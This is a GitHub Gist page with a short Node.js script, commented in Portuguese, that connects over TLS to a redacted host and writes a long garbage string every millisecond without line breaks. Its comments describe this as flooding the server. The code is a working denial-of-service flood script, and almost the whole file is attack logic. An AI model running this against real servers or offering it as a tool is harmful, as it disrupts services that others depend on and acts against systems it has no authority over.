Created
October 31, 2014 19:11
-
-
Save alanhoff/e54b3a2893abedb2d741 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// jshint node: true, strict: false | |
var tls = require('tls'); | |
// Configurações do servidor | |
var config = { | |
host: '****', | |
port: 8080 | |
}; | |
// Dispara se o servidor não conectar em 5 segundos | |
var timer = setTimeout(function(){ | |
console.log('Servidor não respondeu'); | |
process.exit(); | |
}, 5000); | |
// Começa o envio de dados aleatórios sem \r\n | |
var write = function(client){ | |
// Intervalo pequeno para floodar | |
setInterval(function(){ | |
client.write('oduhuhp937dg937dg09yG)(&#Gd097dg-9q&#gd9Q#&DGhjwsdl*#HP()D&' + | |
'*G#)d97F(&PDOIUYDP#O*DG@(#*&DG)(#GFD)*YGEOQDIUYEGDO&*#@Gd(@#&DG)923&dg'); | |
}, 1); | |
}; | |
var client = tls.connect(config.port, config.host, function(){ | |
console.log('Conectado!'); | |
// Remove o intervalo, conectamos | |
clearTimeout(timer); | |
// Começa o envio de lixo | |
write(client); | |
}); | |
client.on('data', function(data){ | |
console.log('> Server respondeu: %s', data); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment